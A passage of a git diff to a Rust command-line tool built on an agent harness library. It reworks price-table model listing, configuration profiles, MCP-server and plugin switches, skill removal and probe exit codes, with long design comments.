it here still needs +/// a wildcard — see [`exec_mode_label`], which reports an unknown mode rather than +/// dropping it. What changed is that the menu no longer depends on that: a mode +/// io-harness adds is offered because it is in `ALL`, not because io-cli noticed. #[must_use] pub fn exec_modes() -> Vec { - [ - io_harness::ExecMode::ReadOnly, - io_harness::ExecMode::WorkspaceWrite, - io_harness::ExecMode::FullAccess, - ] - .iter() - .map(|mode| mode.as_str().to_string()) - .collect() + io_harness::ExecMode::ALL + .iter() + .map(|mode| mode.as_str().to_string()) + .collect() } /// How a mode reads on the surface, including one this build has never heard of. /// -/// The mitigation [`exec_modes`] describes. A wildcard that omits is the defect; a +/// The wildcard [`exec_modes`] names. A wildcard that omits is the defect; a /// wildcard that says so is the most a `#[non_exhaustive]` enum allows, and it /// turns "the menu is missing an option" — which nobody can see — into a row that /// names the mode and admits io-cli does not know it. @@ -386,14 +379,31 @@ pub fn kind_of(key: &str) -> Option { /// The one-two-five ladder around `current`, nearest first. /// -/// **Anchored on the value in force, and that is the audit's finding rather than a -/// preference.** The plan for this release said the ladder would be anchored on -/// io-harness's own default for the key. There is no such thing to read: -/// `run.max_tokens` and `run.max_duration_secs` are `None` in both `TaskContract` -/// constructors (`contract.rs:652,730`), `run.max_steps` is 8 in one and 12 in the -/// other (`:650,:728`) so neither is "the default", the `[run]` section is a -/// private struct with no getter, and `io_harness::Defaults` is the policy tier -/// defaults under a colliding name. So the anchor is the value the operator +/// **Anchored on the value in force, and that is still the finding rather than a +/// preference — but half of the old reason is now false and the correction is +/// worth writing down.** io-harness 0.71.0 names its own defaults: +/// `DEFAULT_MAX_STEPS` = 8, `DEFAULT_WORKSPACE_MAX_STEPS` = 12 and +/// `DEFAULT_MAX_RETRIES` = 2 (`io-harness-0.71.0/src/contract.rs:652,670,686`), +/// re-exported at the crate root. "There is nothing to read" was true when this +/// was written and is not true now. What is still true is that none of it anchors +/// *this* ladder: +/// +/// * `run.max_steps` — **io-cli does not run on either harness default.** +/// [`crate::contract::configured`] builds every session turn and every +/// `io exec` from `TaskContract::workspace(..)` and immediately replaces its +/// `DEFAULT_WORKSPACE_MAX_STEPS` with [`crate::contract::MAX_STEPS`] +/// (`src/contract.rs:210`), *before* the configuration is applied over it. The +/// number in force when no file names the key is a thousand, and it is io-cli's +/// own. Anchoring the picker on 12 would show a figure no turn has ever run +/// under. +/// * `run.max_tokens` and `run.max_duration_secs` — `None` in **both** +/// `TaskContract` constructors, so there is no default to show at all. +/// * The rest — the `[run]` section is a private struct with no getter, and +/// `io_harness::Defaults` is the policy tier defaults under a colliding name. +/// +/// And a per-key anchor is not this function's to apply in any case: it is handed +/// a number and a sign, never a key ([`Kind::Number`] carries only `signed`), so +/// the choice would belong to the caller. So the anchor is the value the operator /// actually has — which is also the value they are reasoning from. /// /// `None` — a key no file names — ladders from 1. The alternative was an empty @@ -569,55 +579,47 @@ pub fn shape_of(key: &str, config: &Config) -> Option { /// The models `[prices.models]` names, across every scope, sorted and deduplicated. /// -/// **Quoted from the files rather than read from the dependency, because the -/// dependency has no reader.** `io_harness::pricing::PriceTable`'s whole public -/// API is `new`, `with`, `with_tiers`, `as_of`, `price` and `tiers` — it can -/// answer what one named model costs and cannot say which models it holds. So a -/// surface offering "choose a model you have prices for" has to read the section -/// itself. This is the same act `Setting::value` already performs for a section -/// io-harness exposes no accessor for: the origin says which file, and the text is -/// what that file says. Filed upstream as a gap. +/// **Read from the dependency's own table since io-harness 0.71.0, not scraped +/// out of the files.** `PriceTable::models` (`io-harness-0.71.0/src/pricing.rs:268`) +/// lists every model the table can actually price, and [`Config::prices`] has +/// always built that table out of the three scopes — so the merged question this +/// used to hand-roll is precisely the one the accessor answers, and the gap filed +/// upstream as io-harness#220 has landed. The models come back sorted and unique +/// because the table keys them in a `BTreeMap`. +/// +/// **The scrape was also wrong, and replacing it fixes a menu an operator could +/// not see past.** It matched a literal `[prices.models]` header, so a file +/// spelling its table as a sub-table per model — `[prices.models."gpt-4.1"]`, +/// which is [`crate::prices::Shape::SubTables`], legal TOML io-harness reads +/// perfectly well, and the shape an operator writing rates by hand is most likely +/// to reach for — listed *no* models at all, and the picker for every +/// [`Kind::Model`] key came up empty on a perfectly good price table. +/// +/// **A model priced by tiers alone is not offered**, which is `models`'s own +/// contract rather than a rule invented here: `PriceTier`s are keyed separately +/// from base prices and `cost_micros` answers `None` for a model that has only +/// tiers, so listing it would be promising a cost the table cannot produce. /// /// **No network call, ever.** A settings screen that reached for a catalogue would /// be spending an operator's money to draw a menu; where no priced section exists /// the caller says so and offers the refresh row that already acts. /// -/// Every scope rather than the deciding one, because `[prices.models]` is a table -/// the scopes merge key by key — a model priced in the user file and another in -/// the project file are both priced for this session. +/// **This takes the `Config` the caller already holds, and must never re-discover +/// one.** `Config::discover` resolves every `${env:}`, `${file:}` and `${cmd:}` as +/// it reads (`io-harness-0.71.0/src/config.rs:517`), so a second discovery re-runs +/// an operator's credential commands — which for a `${cmd:}` fetching a key out of +/// a keychain means a Touch-ID prompt raised in order to draw a menu, every time +/// the picker opens. Taking a `&Config` is not an optimisation; it is the +/// difference between reading a value and executing somebody's program. +/// +/// A configuration with no priced section lists nothing, and the caller says so and +/// offers the refresh row that already acts. #[must_use] -pub fn priced_models(root: &std::path::Path) -> Vec { - let mut found: BTreeSet = BTreeSet::new(); - for scope in [Scope::User, Scope::Project, Scope::Local] { - let Some(path) = scope_path(root, scope) else { - continue; - }; - let Ok(text) = std::fs::read_to_string(&path) else { - continue; - }; - let mut inside = false; - for line in text.lines() { - let line = line.trim(); - if line.starts_with('[') { - // A header ends the previous table and may open this one. Both - // spellings io-harness accepts, since a `[prices.models]` and a - // dotted `[prices]`/`models` are the same table to a TOML reader - // and only the header form appears here. - inside = line == "[prices.models]"; - continue; - } - if !inside || line.is_empty() || line.starts_with('#') { - continue; - } - if let Some((name, _)) = line.split_once('=') { - let name = name.trim().trim_matches('"').trim(); - if !name.is_empty() { - found.insert(name.to_string()); - } - } - } - } - found.into_iter().collect() +pub fn priced_models(config: &Config) -> Vec { + let Some(prices) = config.prices() else { + return Vec::new(); + }; + prices.models().into_iter().map(str::to_string).collect() } /// Which file a change to `key` should be written into, and whether that was @@ -644,7 +646,7 @@ pub fn destination(config: &Config, key: &str) -> (Scope, bool) { /// Whether writing `value` to `key` would be refused in a **project-scoped** file. /// /// io-harness refuses five (key, value) pairs in a committed `io.toml` -/// (`PROJECT_WIDENING`, `io-harness-0.69.0/src/config.rs:1759-1769`): the two acts +/// (`PROJECT_WIDENING`, `io-harness-0.71.0/src/config.rs:1998-2008`): the two acts /// defaulted to `allow`, egress re-opened inside the sandbox, the portable floor /// switched off, and the widest exec mode. The narrowing value of each stays legal, /// which is what the scope is for. @@ -713,7 +715,8 @@ fn is_credential(path: &str) -> bool { /// /// **There are three substitution forms and not two.** io-harness resolves /// `${env:...}`, `${file:...}` **and** `${cmd:...}` -/// (`io-harness-0.69.0/src/config.rs:1909`); this comment claimed two until +/// (`substitute`, `io-harness-0.71.0/src/config.rs:2150`, the `cmd` arm at +/// `:2241`); this comment claimed two until /// 0.21.0, and the sentence it claimed it in was the argument for which forms /// pass through here. The third is deliberately not one of them: a `${env:}` or /// `${file:}` reference is a *name*, and the name is the whole of what an @@ -953,26 +956,123 @@ pub fn rows(settings: &[Setting]) -> Vec { /// /// Sorted and deduplicated, because a profile may declare sub-tables — a file /// with `[profile.fast]` and `[profile.fast.run]` has one profile, not two. +/// +/// **Every source, not just the last one.** Until 0.30.0 this read +/// `sources().last()` alone, so a profile declared in a lower-precedence scope was +/// invisible to the one surface whose whole job is to list them — and +/// [`with_profile`] would have applied it perfectly well, because io-harness +/// merges the overlay across the scopes it merged the file from. A list that +/// cannot see what the switch can reach is a list that is wrong. pub fn profiles(config: &Config) -> Vec { - let Some(text) = config - .sources() - .last() - .and_then(|(_, path)| std::fs::read_to_string(path).ok()) - else { - return Vec::new(); - }; + let mut names: Vec = Vec::new(); + for (_, path) in config.sources() { + let Ok(text) = std::fs::read_to_string(path) else { + continue; + }; + names.extend(declared_profiles(&text)); + } + names.sort(); + names.dedup(); + names +} - let mut names: Vec = crate::edit::sections(&text) +/// The `[profile.]` names one file's own text declares. +/// +/// Split out because [`remove_profile`] needs the *sections*, not the names: a +/// profile is however many headers share its first two segments, and removing it +/// means removing all of them. +fn declared_profiles(text: &str) -> Vec { + crate::edit::sections(text) .into_iter() .filter_map(|path| { (path.first().map(String::as_str) == Some("profile")) .then(|| path.get(1).cloned()) .flatten() }) + .collect() +} + +/// The edit that creates `[profile.]`, or the reason it cannot. +/// +/// **[`crate::edit::Edit::section`] and deliberately not +/// [`crate::edit::Edit::set`].** `section` refuses a section that already exists, +/// which is exactly the "that name is taken" answer this verb owes an operator — +/// so the refusal is the write primitive's own and there is no second opinion +/// about what "already there" means. `set` would have appended a second +/// `[profile.]` header to the file, which is the shape `src/edit.rs:120-126` +/// records as the reason `section` exists at all. +/// +/// The body is a comment rather than nothing, because a bare header an operator +/// then cannot find in their own file is a worse first experience than a line +/// saying what it is for. `/config --scope` writes the keys. +pub fn create_profile(name: &str) -> Result { + let trimmed = name.trim(); + if trimmed.is_empty() { + return Err("a profile needs a name".to_string()); + } + // `spell` quotes a segment that is not a bare key, so a name with a dot or a + // space addresses one profile rather than silently nesting two tables. + let path = format!("profile.{}", crate::edit::spell(trimmed)); + Ok(crate::edit::Edit::section( + path, + format!("# `{trimmed}`, applied with `/profile` or `--profile {trimmed}`\n"), + )) +} + +/// The edits that remove `[profile.]` **and every sub-table under it**. +/// +/// **A profile is not one section.** `[profile.fast]` and `[profile.fast.run]` are +/// two headers and one profile — which [`profiles`] already knew, because it +/// deduplicates on exactly that. So the removal is one +/// [`crate::edit::Edit::remove`] per header, applied together: +/// [`crate::edit::apply`] splices in reverse start order and is all-or-nothing, so +/// either the whole profile goes or the file is untouched. +/// +/// **`remove` and never [`crate::edit::Edit::unset`]**, and getting that backwards +/// is the confusion 0.28.0 paid for: `remove` takes a whole `[section]` region, +/// header and body; `unset` deletes a single `key = value` line and errors on a +/// section path. This verb wants the region. +/// +/// `Err` when the file declares no such profile, so the surface can say which +/// names it does have rather than reporting a successful write that removed +/// nothing. +pub fn remove_profile(text: &str, name: &str) -> Result, String> { + let headers: Vec> = crate::edit::sections(text) + .into_iter() + .filter(|path| { + path.first().map(String::as_str) == Some("profile") + && path.get(1).map(String::as_str) == Some(name) + }) .collect(); - names.sort(); - names.dedup(); - names + if headers.is_empty() { + return Err(format!( + "this file declares no `[profile.{name}]`; it declares {}", + match declared_profiles(text).as_slice() { + [] => "no profiles at all".to_string(), + found => { + let mut names = found.to_vec(); + names.sort(); + names.dedup(); + names + .iter() + .map(|found| format!("`{found}`")) + .collect::>() + .join(", ") + } + } + )); + } + Ok(headers + .into_iter() + .map(|path| { + crate::edit::Edit::remove( + path.iter() + .map(|segment| crate::edit::spell(segment)) + .collect::>() + .join("."), + ) + }) + .collect()) } /// Apply a named profile, or report io-harness's own refusal. diff --git a/src/contract.rs b/src/contract.rs index bf8230a..509aaee 100644 --- a/src/contract.rs +++ b/src/contract.rs @@ -169,10 +169,12 @@ refer to earlier output by where it is on the screen — it has scrolled."; /// is rendered in an eighty-column pane whose earlier output has scrolled, which /// is false of `io exec --json`. /// -/// **The step cap is no longer one of them.** A headless run took io-harness's -/// own twelve, so `io exec` ended `error: step_cap_reached` under half-finished -/// work with nobody watching — the same defect [`MAX_STEPS`] exists to fix in a -/// session, made worse rather than better by the run being unattended. +/// **The step cap is no longer one of them.** A headless run took io-harness's own +/// [`io_harness::DEFAULT_WORKSPACE_MAX_STEPS`] — twelve, and nameable as of +/// io-harness 0.71.0 rather than a literal read out of a constructor — so +/// `io exec` ended `error: step_cap_reached` under half-finished work with nobody +/// watching, the same defect [`MAX_STEPS`] exists to fix in a session, made worse +/// rather than better by the run being unattended. /// /// The order of the calls below is the order of precedence, weakest to /// strongest: @@ -518,7 +520,7 @@ pub fn skills_dir(config: &Config, capabilities: &Capabilities, root: PathBuf) - /// **The existence test is not caution, it is the whole of what makes this /// default safe.** `Skills::discover` does not return early on a directory that /// is not there — it returns `Error::Config("skills directory … does not exist")` -/// (`io-harness-0.66.0/src/skills.rs`), and `TaskContract::discover_skills` +/// (`io-harness-0.71.0/src/skills.rs`), and `TaskContract::discover_skills` /// propagates it from `run.rs` at run start, before the first completion. A /// contract that named this directory unconditionally would therefore fail every /// turn of every operator who has never made one, which is almost all of them. @@ -534,8 +536,10 @@ fn default_skills() -> Option { /// /// **One expansion for two keys, applied after both have had their say.** /// io-harness substitutes `${env:…}` and `${file:…}` and nothing else -/// (`io-harness-0.66.0/src/config.rs:1965` — there is no tilde branch anywhere in -/// it), so a `~` an operator wrote in `[run] skills` or `[app.io-cli] skills` +/// (`substitute`, `io-harness-0.71.0/src/config.rs:2150` — there is no tilde +/// branch anywhere in it, and 0.71.0 narrowed the forms rather than widening +/// them: a plugin manifest now refuses all three), so a `~` an operator wrote in +/// `[run] skills` or `[app.io-cli] skills` /// reaches `Skills::discover` as a directory whose name is one character long. /// Expanding at each key instead would be two places to keep true and two places /// for the next key to be forgotten in. diff --git a/src/exec.rs b/src/exec.rs index cf80f16..bb064af 100644 --- a/src/exec.rs +++ b/src/exec.rs @@ -85,6 +85,39 @@ pub const UNFINISHED: u8 = 5; /// the recorded `GateOutcome` sees that one. pub const UNVERIFIED: u8 = 6; +/// The exit status for `io mcp probe`. +/// +/// **A probe that came back with nothing must not exit zero**, and until this +/// function existed it did: the sentence on stdout was right and the status was +/// `0` for every outcome, so a script could tell an answering server from a dead +/// one only by parsing prose. Found by running the built binary against a real +/// server, not by a test — every offline gate was green, because every offline +/// gate asserted the sentence. +/// +/// Three statuses rather than two, and the third earns its place: a server the +/// **policy** refused is a different problem from one that was asked and did not +/// answer. The first is fixed by editing a rule and the second by fixing the +/// server, and a script that retries is right to retry only one of them. +/// +/// * [`OK`] — it answered. +/// * [`REFUSED`] — the policy would not let it start. Nothing was spawned or +/// dialled. +/// * [`FAILED`] — everything else: switched off, would not start, unreachable, +/// timed out, or a state a newer io-harness reports that this build does not +/// model. +/// +/// The `_` arm is mandatory: `McpProbe` is `#[non_exhaustive]`. It answers +/// `FAILED` because "this build does not know what happened" is not a success, +/// and the sentence beside it says so in words. +#[must_use] +pub fn probe_code(probe: &io_harness::McpProbe) -> u8 { + match probe { + io_harness::McpProbe::Answered { .. } => OK, + io_harness::McpProbe::Refused { .. } => REFUSED, + _ => FAILED, + } +} + /// The exit status for a run that reached the harness. /// /// **The `_` arm is mandatory now, and it is not free.** Until io-harness 0.64 @@ -1161,8 +1194,18 @@ impl WithProvider for Resuming { let contract = crate::contract::configured(self.goal, self.root.clone(), &self.config); // `None` on every arm: a containment is a fleet's shared budget, this // subcommand takes no flag that expresses one, and `crate::resume::recover` - // refuses a contained run outright because io-harness 0.69 publishes no + // refuses a contained run outright because io-harness publishes no // tree-aware recovery entry point to keep those limits with. + // + // **Still true at 0.71.0, and the shape of the gap is worth naming.** Every + // other pause kind has both forms — `resume_tree_with_answer` beside + // `resume_with_answer`, `resume_tree_with_plan_decision` beside its flat + // one, `resume_tree_with_decision` beside `resume_with_decision` + // (`io-harness-0.71.0/src/run.rs:1769`, `:2088`, `:3002`). Recovery has + // `resume_with_recovery_observed` (`:2550`) and nothing tree-aware, so it + // is the one pause a contained run cannot be resumed from. Not an oversight + // this crate can route around: a fleet's shared ceiling lives in the tree + // entry points, and resuming through the flat one would drop it. let resumed = match self.decision { Decision::Answer { question_id, diff --git a/src/home.rs b/src/home.rs index 8dfbbcf..ba5e631 100644 --- a/src/home.rs +++ b/src/home.rs @@ -9,7 +9,8 @@ //! This module names one. It is deliberately **not** a second configuration //! system: io-harness resolves `$IO_CONFIG`, then `$IO_CONFIG_HOME`, then the //! platform's own place, reading the environment at call time -//! (`io-harness-0.66.0/src/config.rs:1667`), and there is no caller-supplied home +//! (`io-harness-0.71.0/src/config.rs:1891`, the Windows branch at `:1910`), and +//! there is no caller-supplied home //! anywhere in `Config`'s public surface — no `discover_in`, no builder. So the //! one lever is `$IO_CONFIG_HOME`, set once, before the first //! [`io_harness::Config::discover`]. Everything else here follows from that: diff --git a/src/import.rs b/src/import.rs index bccaa41..4cb1446 100644 --- a/src/import.rs +++ b/src/import.rs @@ -30,7 +30,7 @@ //! decision="allow")` and Claude's `permissions.ask` says `Bash(cargo yank *)` — //! both of which match a *command line*. io-harness's `Act::Exec` matches a //! **binary name and nothing else**; it has no argument matching at all -//! (`io-harness-0.69.0/src/policy.rs:62`). So the nearest thing to a faithful +//! (`Act::Exec`, `io-harness-0.71.0/src/policy.rs:63`). So the nearest thing to a faithful //! import of `bun install` is a blanket allow on `bun`, which is a wider //! permission than the operator ever granted, written by a tool they were //! trusting to be careful. A boundary half-imported is worse than one left alone, diff --git a/src/main.rs b/src/main.rs index 6ac99cc..a47f090 100644 --- a/src/main.rs +++ b/src/main.rs @@ -208,7 +208,7 @@ async fn run(report: &mut Vec) -> Result { } let mut tokens = vec![surface.to_string()]; tokens.extend(rest.iter().cloned()); - return manage_main(&root, &config, &tokens); + return manage_main(&root, &config, &tokens).await; } // A session draws, so it needs a terminal to draw on, and saying so is better @@ -1632,6 +1632,11 @@ async fn loop_over Result>( .to_string(), ), Some(at) => { + // Read once, here, and carried on the + // `Pick`. The label and the value the + // handler writes come from this one + // reading, so they cannot disagree. + let on = server.enabled; descended = Some(( Picker::new( format!("{}?", server.id), @@ -1642,11 +1647,28 @@ async fn loop_over Result>( "change one setting", io_cli::servers::KEYS.join(", "), ), + // **The reversible verb, beside + // the one that is not.** Removing + // takes the entry and everything + // the operator typed into it; + // this changes one word and + // leaves the server configured, + // listed, and one keystroke from + // coming back. + Row::with_detail( + if on { + "switch it off" + } else { + "switch it back on" + }, + io_cli::servers::OLDER_BINARY, + ), ], ), Pick::McpRemove { id: server.id.clone(), at, + enabled: on, }, )); } @@ -1670,7 +1692,53 @@ async fn loop_over Result>( // Row 2 is the edit verb, and it descends rather than // acting: which key is half the decision, and the other // half is a value only the operator can type. - Pick::McpRemove { id, at } => { + Pick::McpRemove { id, at, enabled } => { + // Row 3 — the toggle. `servers::switch` is the same + // function `io mcp disable ` reaches through + // `manage::plan`, so the two doors write identical + // bytes and neither is the real one. `!*enabled` is + // the state read when the row was drawn, never a + // second reading of the file. + if index == 3 { + let edit = io_cli::servers::switch(at, !*enabled); + match io_cli::configure::write(session.root(), at.scope, &[edit]) { + Ok(()) => { + match io_cli::configure::reload(session.root()) { + Ok((fresh, stored)) => { + capabilities = + io_cli::contract::Capabilities::stored( + stored.as_ref(), + ); + config = fresh; + } + Err(error) => app.record( + Tone::Error, + format!( + "{id} was switched but the configuration \ + would not read back: {error}" + ), + ), + } + app.record( + Tone::Success, + format!( + "{id} is {}; it is still configured, and the \ + change is in force from the next turn", + if *enabled { "switched off" } else { "on again" }, + ), + ); + // `record` and never `say`: this is the + // half an operator has to still be able to + // read, and the footer is one slot the next + // keystroke takes back. + app.record( + Tone::Muted, + io_cli::servers::OLDER_BINARY.to_string(), + ); + } + Err(refusal) => app.record(Tone::Refused, refusal), + } + } if index == 2 { descended = Some(( Picker::new( @@ -1760,7 +1828,91 @@ async fn loop_over Result>( enabled, action_at, } => { - // Every row but one is a fact to read. + // Every row but the last two is a fact to read. The two + // that act are the removal at `action_at` and the + // toggle immediately after it. + // + // **The toggle acts here rather than descending**, and + // that asymmetry with the removal beside it is + // deliberate: removing takes the operator's entry and + // everything they typed into it, and this changes one + // word that the same row switches straight back. A + // confirmation is owed to an act that cannot be undone + // in a keystroke; asking for one here would be asking + // twice for something reversible. + if index == *action_at + 1 { + match io_cli::pluginview::declared_at(session.root(), bundle) { + Some((scope, at)) => { + let edit = if *enabled { + io_cli::pluginview::disable(at) + } else { + io_cli::pluginview::enable(at) + }; + match io_cli::configure::write( + session.root(), + scope, + &[edit], + ) { + Ok(()) => { + // **Re-read, or the second `/plugin` + // of the same turn decides from + // stale state.** `Pick::PluginEntry` + // carries `enabled` from when the + // row was drawn, and the row is + // drawn from `config`. Without this + // the surface goes on offering + // "switch it off" for a bundle + // already off, writes `false` over + // `false`, and reports it switched + // off a second time — leaving + // "switch it back on" unreachable + // until the next turn. `/mcp`'s + // toggle has always reloaded, which + // is why that one is + // self-consistent and this was not. + match io_cli::configure::reload(session.root()) { + Ok((fresh, stored)) => { + capabilities = + io_cli::contract::Capabilities::stored( + stored.as_ref(), + ); + config = fresh; + } + Err(error) => { + app.record(Tone::Error, error); + } + } + app.record( + Tone::Success, + format!( + "{id} is {}; its entry and its directory \ + are both untouched, and the change is in \ + force from the next turn", + if *enabled { + "switched off" + } else { + "on again" + }, + ), + ); + app.record( + Tone::Muted, + io_cli::pluginview::OLDER_BINARY.to_string(), + ); + } + Err(refusal) => app.record(Tone::Refused, refusal), + } + } + None => app.record( + Tone::Refused, + format!( + "no `[[plugin]]` entry in any scope names {}; \ + nothing was switched", + bundle.display() + ), + ), + } + } if index == *action_at { // **One act, one wording, and the flag decides it // once.** The row this descends from already says @@ -1858,47 +2010,63 @@ async fn loop_over Result>( // `index`, for `Pick::PluginRemove`'s reason: the outer // `index` is the row that was chosen and the entry's own // position in the file is a different number entirely. - Pick::PluginEnable { - id, - scope, - index: at, - } => { + Pick::PluginInstall { id, scope, edits } => { if io_cli::store::acts(index) { - // **One key.** `pluginview::enable` is an - // `Edit::set` on `plugin[at].enabled`, so the path - // this entry declares, every sibling entry and - // every unrelated section come through byte for - // byte — see `src/edit.rs`, which replaces a - // value's own span and copies the rest. - match io_cli::configure::write( - session.root(), - *scope, - &[io_cli::pluginview::enable(*at)], - ) { - Ok(()) => app.record( - Tone::Success, - format!( - "{id} is switched on; what it contributes is in \ - `/plugin`, and it is in force from the next turn", - ), - ), + // **The write happens here and nowhere earlier.** + // `edits` is `manage::plan`'s own single + // `pluginview::add`, so the entry lands switched + // on, in one append, and every unrelated section + // comes through byte for byte — see `src/edit.rs`, + // which splices a span and copies the rest. + match io_cli::configure::write(session.root(), *scope, edits) { + Ok(()) => { + // **Re-read, or `/plugin` will not list what + // was just installed.** `Action::Plugin` + // builds its view from the in-memory + // `config`, which is otherwise refreshed + // only at a turn boundary — so without this + // the success sentence below points at a + // surface that still knows nothing about + // the bundle. 0.29.0 did not have this bug + // because the write happened in the arm + // that reloads; the disclosure arm returns + // before reaching it. + match io_cli::configure::reload(session.root()) { + Ok((fresh, stored)) => { + capabilities = + io_cli::contract::Capabilities::stored( + stored.as_ref(), + ); + config = fresh; + } + Err(error) => app.record(Tone::Error, error), + } + app.record( + Tone::Success, + format!( + "{id} is installed; what it contributes is in \ + `/plugin`, and it is in force from the next turn", + ), + ); + } Err(refusal) => app.record(Tone::Refused, refusal), } } else { - // **Declined leaves it declared, off and visible**, - // and saying so is the whole difference between a - // decline and a bundle that quietly went away. The - // entry is not removed: `/plugin` lists it under - // `pluginview::DISABLED_MARK` with what switching - // it on would bring, which is the one edit an - // operator can undo in a keystroke if they can see - // it. + // **Declining leaves the operator's file untouched**, + // which is new in 0.30.0 and is the point of the + // change. 0.29.0 had to write the entry switched off + // before io-harness would read the bundle at all, so + // a decline left a `[[plugin]]` behind and the honest + // sentence was "declared and switched off". + // `Plugins::inspect` validates a directory with + // nothing on disk naming it, so there is now nothing + // to leave behind and nothing to undo. app.record( Tone::Muted, format!( - "{id} is left declared and switched off — nothing of it \ - is in this session; `/plugin` lists it, and switching it \ - on there is one keystroke", + "{id} was not installed — nothing was written, and the \ + clone is still under `/plugin marketplace` if you want \ + to look at it again", ), ); } @@ -2037,18 +2205,18 @@ async fn loop_over Result>( // A bundle is several *lists* — its agents, its // servers, its policy layers — and a sentence // holding three lists is a sentence nobody reads. - // The hooks by name where the manifest is still - // readable, and `pluginview`'s honest placeholder - // where it is not — `hooks` answers an empty - // slice for a directory it cannot open, which is - // the same fact the placeholder states. Read - // here rather than in `pluginview`, which opens - // no manifest by rule. + // The hooks come off the `Plugin` io-harness + // parsed, carried on `Listed` by `copy_out`. + // Until io-harness 0.71.0 this line read the + // manifest again through `marketplace::hooks`, + // because `Plugin` had an accessor for every + // contribution kind except the one that runs + // programs; io-harness#223 closed that and the + // second reader is gone. let mut rows = io_cli::pluginview::detail( plugin, screen.width(), &app.theme.glyphs, - &io_cli::marketplace::hooks(&plugin.root), ); // **The action's index is taken before the row is // pushed, never worked out afterwards.** Every @@ -2071,6 +2239,22 @@ async fn loop_over Result>( .to_string(), "removes its `[[plugin]]` entry".to_string(), )); + // **The reversible verb, beside the one that is + // not**, at `action_at + 1`. Removing takes the + // entry; this changes one word and leaves the + // bundle declared, listed under its own mark, and + // one keystroke from coming back. Pushed after + // `action_at` was taken, so the removal's index is + // still the length of what was already there. + rows.push(Row::with_detail( + if plugin.enabled { + "switch it off" + } else { + "switch it back on" + } + .to_string(), + io_cli::pluginview::OLDER_BINARY.to_string(), + )); descended = Some(( Picker::new(plugin.id.clone(), rows), Pick::PluginEntry { @@ -2313,7 +2497,22 @@ async fn loop_over Result>( descended = Some(( Picker::new( format!("{}?", skill.name), - vec![Row::new(verb), Row::new("leave it as it is")], + vec![ + Row::new(verb), + Row::new("leave it as it is"), + // **The irreversible one, last and + // descending.** Turning a skill off is + // a rename this row undoes; removing it + // unlinks the file and nothing in this + // product brings it back, so it asks + // again rather than acting from here. + Row::with_detail( + "remove it for good".to_string(), + "deletes the file; turning it off \ + instead is reversible" + .to_string(), + ), + ], ), Pick::SkillToggle { name: skill.name.clone(), @@ -2329,12 +2528,80 @@ async fn loop_over Result>( // that io-harness propagates at run start — every turn of // the session dead. So the failure of a move is said, and // nothing is written twice. + Pick::SkillRemove { name, path } => { + if io_cli::store::acts(index) { + // The bundle list goes to the removal for the same + // reason it goes to the move: the refusal lives + // inside `skillview::remove`, so a second caller + // cannot walk past it. + match io_cli::skillview::remove(path, &bundle_skills(&config)) { + Ok(gone) => { + // The palette walks its list once at + // startup, and this is the second thing in + // the product that changes the directory + // under it. Leave it and `/` goes on + // offering a skill whose file is gone. + skills = io_cli::commands::skills( + &io_cli::home::path().unwrap_or_default(), + io_cli::contract::skills_dir( + &config, + &capabilities, + session.root().to_path_buf(), + ) + .as_deref(), + &bundle_skills(&config), + ) + // `.0` for the reason the sibling refresh + // below takes it: the second half is the + // startup complaint about a skills + // directory io-cli did not write into, and + // it is said once, at startup, by the code + // that knows the resolved directory. + .0; + app.record( + Tone::Success, + format!( + "{name} is gone: {} is deleted", + gone.display() + ), + ); + } + Err(refusal) => app.record(Tone::Refused, refusal), + } + } else { + app.record(Tone::Muted, format!("{name} is unchanged")); + } + } Pick::SkillToggle { name, path, enabled, } => { - if index != 0 { + if index == 2 { + // **`store::LEAVE_IT` at row 0, and it is the + // opposite way round from the picker above.** That + // one puts its verb first because it is reversible + // by the same row; this one deletes a file, so it + // takes the product's confirmation shape — row 0 + // declines, `store::acts` decides, and the index is + // what the test asserts. + descended = Some(( + Picker::new( + format!("Remove {name}?"), + vec![ + Row::new(io_cli::store::LEAVE_IT.to_string()), + Row::with_detail( + "remove it".to_string(), + format!("deletes {}", path.display()), + ), + ], + ), + Pick::SkillRemove { + name: name.clone(), + path: path.clone(), + }, + )); + } else if index != 0 { app.record(Tone::Muted, format!("{name} is unchanged")); } else { // **The bundle list goes to the move, not just to @@ -3270,10 +3537,37 @@ async fn loop_over Result>( // nothing to open: the file is markdown an operator // edits in their own editor, and `/remember` is the // one writer this product gives it. - Some(io_cli::commands::Held::File(file)) => app.record( - Tone::Muted, - io_cli::commands::instruction_said(file, &app.theme.glyphs), - ), + Some(io_cli::commands::Held::File(file)) => { + app.record( + Tone::Muted, + io_cli::commands::instruction_said(file, &app.theme.glyphs), + ); + // **The file's own bullets, addressable at last.** + // Through 0.29.0 this row printed a sentence and + // stopped, with a comment saying there was nothing + // to open because the file is markdown an operator + // edits elsewhere and `/remember` is the one writer + // this product gives it. That was true and it was + // half a surface: a list this interface can grow is + // a list it should be able to prune. + let notes = io_cli::memory::notes(session.root(), file.scope); + if notes.is_empty() { + app.record( + Tone::Muted, + "it holds no bullets, so there is nothing here to \ + change; `/remember` writes one" + .to_string(), + ); + } else { + descended = Some(( + Picker::new( + io_cli::memory::file_name(file.scope).to_string(), + io_cli::commands::note_rows(¬es, &app.theme.glyphs), + ), + Pick::Instruction(notes), + )); + } + } // A note has two verbs on it and a picker has one // Enter, so the row descends into them — the same // replace-in-place `Pick::Complete` uses, and the @@ -3303,6 +3597,130 @@ async fn loop_over Result>( // `io_cli::commands`, so what an outcome is called is a // decision a test can stand on rather than a string in a // file nothing links. + Pick::Instruction(notes) => { + if let Some(note) = notes.get(index) { + // **The composer is deliberately NOT set here, and + // the order is `/remember`'s: type the line, then + // pick what it applies to.** + // + // The obvious implementation — put the note's + // current text in the composer so the operator can + // edit it — cannot work in this interface and looks + // like it does. A picker owns the keyboard for as + // long as it is open, so no keystroke can reach the + // composer between a `set` here and the choice + // below; the "replacement" would always be byte- + // identical to the note, `memory::amend` would + // accept it, and the surface would report a + // successful replacement over a write that changed + // nothing. Reopening the note would then overwrite + // whatever the operator had typed instead. + let carried = note.carries(); + descended = Some(( + Picker::new( + format!("line {}?", note.numbered()), + vec![ + Row::new(io_cli::store::LEAVE_IT.to_string()), + Row::with_detail( + "replace it with what is in the prompt".to_string(), + if app.composer.text().trim().is_empty() { + // Said before it is chosen, not + // after: an empty prompt is the + // state an operator arrives in + // when they came to read. + "the prompt is empty — type the new line \ + first, then come back" + .to_string() + } else { + "the line's indent and its `-` are the \ + file's and are not touched" + .to_string() + }, + ), + Row::with_detail( + "forget it".to_string(), + if carried == 0 { + "removes this line and leaves every other \ + byte of the file alone" + .to_string() + } else { + // The `import` shape, said out + // loud on the screen where the + // 